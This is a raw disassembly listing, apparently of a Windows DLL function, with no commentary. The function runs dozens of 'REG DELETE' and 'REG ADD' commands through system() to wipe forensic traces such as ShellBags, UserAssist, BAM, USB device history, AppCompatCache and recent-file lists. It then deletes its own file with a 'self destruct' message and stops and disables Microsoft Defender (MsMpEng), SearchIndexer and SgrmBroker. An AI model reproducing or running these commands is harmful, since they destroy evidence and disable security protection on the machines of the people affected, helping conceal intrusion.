mov qword [rbp + 0x4d8], rcx
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam___f
mov qword [rbp + 0x4e0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted___f
mov qword [rbp + 0x4e8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x4f0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x4f8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x500], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUsbEStub___f
mov qword [rbp + 0x508], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSB___f
mov qword [rbp + 0x510], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001EnumUSBSTOR___f
mov qword [rbp + 0x518], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002EnumUSBSTOR___f
mov qword [rbp + 0x520], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses___f
mov qword [rbp + 0x528], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet003EnumUSB___f
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x538], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_usersid____f
mov qword [rbp + 0x540], rax
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x548], rax
mov qword [rbp + 0x550], rdx
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___f
mov qword [rbp + 0x558], rax
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
mov qword [rbp + 0x560], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTimeZoneInformation___f
mov qword [rbp + 0x568], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamStateUserSettingsS_1_5_21_4275516325_2688004904_1468727699_500___f
mov qword [rbp + 0x570], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist_
mov qword [rbp + 0x578], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREWinRARArcHistory_
mov qword [rbp + 0x580], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREWinRARDialogEditHistory_
mov qword [rbp + 0x588], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWARE7_Zip_
mov qword [rbp + 0x590], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache_
mov qword [rbp + 0x598], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesAppX69r31t6nmawqr1gdamcsndphj2v4a6cx_
mov qword [rbp + 0x5a0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts_
mov qword [rbp + 0x5a8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched_
mov qword [rbp + 0x5b0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x5b8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList_
mov qword [rbp + 0x5c0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView_
mov qword [rbp + 0x5c8], rax
lea rax, str.REG_ADD__HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache_
mov qword [rbp + 0x5d0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs_
mov qword [rbp + 0x5d8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths_
mov qword [rbp + 0x5e0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyFirewallRules_
mov qword [rbp + 0x5e8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTO_
mov qword [rbp + 0x5f0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShell_
mov qword [rbp + 0x5f8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftFTH_
mov qword [rbp + 0x600], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWARECloudflare_
mov qword [rbp + 0x608], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NT_
mov qword [rbp + 0x610], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftNotepad_
mov qword [rbp + 0x618], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWARERegisteredApplications_
mov qword [rbp + 0x620], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayer_
mov qword [rbp + 0x628], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettings_
mov qword [rbp + 0x630], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMMountedDevices_
mov qword [rbp + 0x638], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy_
mov qword [rbp + 0x640], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder_
mov qword [rbp + 0x648], rax
lea rax, str.REG_ADD__REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU_
mov qword [rbp + 0x650], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU_
mov qword [rbp + 0x658], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags_
mov qword [rbp + 0x660], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU_
mov qword [rbp + 0x668], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBags_
mov qword [rbp + 0x670], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBagMRU_
mov qword [rbp + 0x678], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache_
mov qword [rbp + 0x680], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache_
mov qword [rbp + 0x688], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftDirectInput_
mov qword [rbp + 0x690], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionAppletsRegedit_
mov qword [rbp + 0x698], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers_
mov qword [rbp + 0x6a0], rax
lea rax, str.REG_ADD__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x6a8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USEREnvironment_
mov qword [rbp + 0x6b0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters_
mov qword [rbp + 0x6b8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall_
mov qword [rbp + 0x6c0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore_
mov qword [rbp + 0x6c8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU_
mov qword [rbp + 0x6d0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet_
mov qword [rbp + 0x6d8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand_Processor_
mov qword [rbp + 0x6e0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_SearchVolumeInfoCache_
mov qword [rbp + 0x6e8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR_
mov qword [rbp + 0x6f0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing_
mov qword [rbp + 0x6f8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer_
mov qword [rbp + 0x700], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU_
mov qword [rbp + 0x708], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
mov qword [rbp + 0x710], rax
lea rax, str.REG_ADD__HKU_usersid_SOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount_
mov qword [rbp + 0x718], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
mov qword [rbp + 0x720], rax
lea rcx, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
mov qword [rbp + 0x728], rcx
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid____f
mov qword [rbp + 0x730], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam_
mov qword [rbp + 0x738], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted_
mov qword [rbp + 0x740], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x748], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x750], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x758], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUsbEStub_
mov qword [rbp + 0x760], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSB_
mov qword [rbp + 0x768], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001EnumUSBSTOR_
mov qword [rbp + 0x770], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002EnumUSBSTOR_
mov qword [rbp + 0x778], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses_
mov qword [rbp + 0x780], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet003EnumUSB_
mov qword [rbp + 0x788], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid__
mov qword [rbp + 0x790], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_usersid__
mov qword [rbp + 0x798], rax
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x7a0], rax
mov qword [rbp + 0x7a8], rcx
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionAppCompatFlagsLayers_
mov qword [rbp + 0x7b0], rax
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
mov qword [rbp + 0x7b8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTimeZoneInformation_
mov qword [rbp + 0x7c0], rax
lea rbx, [rbp + 0x310]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rbx, 8
lea rax, [rbp + 0x7c8]
cmp rbx, rax
jne 0x180033b33
mov r8d, 0x104
lea rdx, [rbp + 0x840]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
lea rax, [rbp + 0x840]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x180033b80
mov r8, rdi
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x280]
call fcn.180037400
nop
lea rcx, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x180033bd1
lea rdx, str.Self_destruct_sequence_initiated..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x180033c02
lea rdx, str.Failed_to_initiate_self_destruct_sequence._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b710
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800416a0]
call fcn.18003b710
lea rcx, str.net_stop_SearchIndexer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SearchIndexer.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_MsMpEng.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_MsMpEng.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_SgrmBroker.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SgrmBroker.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x180033c9a
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033c95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033c95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x290], xmm6
mov byte [rbp + 0x280], 0
cmp r15, 0xf
jbe 0x180033ce4
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x180033cdb
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033cdb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.18003d440
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x180033d28
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033d23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033d23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x2b0], xmm6
mov byte [rbp + 0x2a0], 0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x180033d7b
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033d76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033d76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.18003d350
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180031900
nop
call fcn.18002ee50
int3